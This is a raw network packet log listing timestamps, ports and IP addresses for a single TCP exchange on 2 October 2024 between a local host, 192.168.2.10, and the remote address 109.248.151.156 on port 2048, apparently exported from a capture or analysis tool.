Oct 2, 2024 05:23:21.553169966 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.553174019 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.553220034 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.553220034 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.556626081 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.556654930 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.556665897 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.556714058 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.556730032 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.556741953 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.556756020 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.556772947 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.556778908 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.556785107 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.556794882 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.556807041 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.556824923 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.556824923 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.556893110 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.556896925 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.556907892 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.556921005 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.556931973 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.556941986 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.556952953 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.556981087 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.556981087 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.557008982 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.557010889 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.557020903 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.557033062 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.557060957 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.557069063 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.557080030 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.557137012 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.557606936 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.557619095 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.557636976 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.557646990 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.557661057 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.557672977 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.557674885 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.557674885 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.557683945 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.557694912 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.557703018 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.557719946 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.557817936 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.557859898 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.557888985 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.557893991 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.557907104 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.557971954 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.557986021 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.557996988 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.558007956 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.558012962 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.558012962 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.558077097 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.607229948 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.637598991 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.637622118 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.637640953 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.637655020 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.637666941 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.637677908 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.637689114 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.637689114 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.637689114 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.637701988 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.637726068 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.637758017 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.637758970 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.637770891 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.637780905 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.637792110 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.637801886 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.637825012 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.637825012 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.637878895 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.637891054 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.637902021 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.637911081 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.637921095 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.637922049 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.637933016 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.637943983 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.637944937 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.637975931 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.637988091 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.637996912 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638008118 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638019085 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638036013 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.638036013 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.638134003 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638144970 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638155937 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638165951 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638175964 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638185978 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638197899 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638209105 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.638210058 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638209105 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.638257027 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638282061 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.638309956 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.638406038 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638417959 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638428926 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638438940 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638448954 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638459921 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638468981 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.638469934 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638480902 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638490915 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638500929 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638504982 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.638504982 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.638514996 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638536930 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.638536930 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.638639927 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638653040 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638664007 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638701916 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.638751984 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.638756990 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638768911 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638778925 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638791084 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638802052 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638812065 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638823986 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.638824940 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.638824940 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.638864040 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.640041113 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640073061 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640085936 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640100002 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.640130043 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.640157938 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640171051 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640182018 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640201092 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640212059 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640216112 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.640266895 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640278101 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640290022 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640300989 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640301943 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.640301943 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.640337944 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.640383005 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640394926 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640405893 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640417099 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640429020 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640441895 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.640441895 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.640470982 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.640474081 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640513897 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640527010 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640537977 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640563965 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.640594959 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.640608072 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640619040 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640630007 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640640020 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640650034 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640661001 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640676975 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640682936 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.640682936 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.640717983 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.640734911 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640748024 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640759945 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640770912 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.640778065 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.640829086 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.644164085 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.644196987 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.644208908 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.644220114 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.644224882 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.644231081 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.644246101 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.644260883 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.644275904 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.644275904 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.644279957 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.644293070 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.644308090 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.644390106 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.644431114 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.644448042 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.644459009 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.644470930 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.644481897 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.644491911 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.644504070 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.644504070 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.644504070 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.644537926 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.644557953 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.644573927 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.644573927 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.644573927 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.644584894 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.644597054 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.644608021 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.644618988 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.644620895 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.644665956 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.644665956 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.645180941 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.645196915 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.645220995 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.645231962 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.645241976 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.645258904 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.645281076 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.645308018 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.645319939 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.645330906 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.645344019 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.645401955 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.645515919 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.645531893 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.645549059 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.645560026 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.645571947 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.645592928 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.645593882 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.645612955 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.645626068 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.645637035 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.645659924 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.645703077 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.725295067 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725316048 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725336075 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725347042 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725358009 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725370884 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725380898 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725394011 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725394964 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.725394964 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.725461006 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.725466013 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725476980 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725487947 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725498915 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725509882 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725550890 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.725562096 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725572109 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725589037 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725595951 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.725600958 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725639105 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.725697994 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725709915 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725719929 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725730896 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725734949 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.725742102 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725778103 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.725822926 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.725914955 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725927114 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725936890 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725948095 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725958109 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725970030 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725980997 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.725984097 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.725984097 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.725991964 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.726005077 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.726016045 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.726031065 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.726032972 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.726032972 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.726068974 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.726103067 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.726147890 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.726164103 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.726175070 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.726250887 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.726325035 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.726336002 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.726346970 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.726356983 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.726367950 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.726377010 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.726378918 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.726389885 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.726391077 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.726402044 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.726413965 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.726423979 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.726423979 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.726444006 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.726525068 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.726527929 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.726536989 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.726547003 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.726557970 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.726587057 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.726609945 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.727624893 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.727657080 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.727696896 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.727732897 CEST	49704	2048	192.168.2.10	109.248.151.156
Oct 2, 2024 05:23:21.727736950 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.727749109 CEST	2048	49704	109.248.151.156	192.168.2.10
Oct 2, 2024 05:23:21.727806091 CEST	2048	49704	109.248.151.156	192.168.2.10
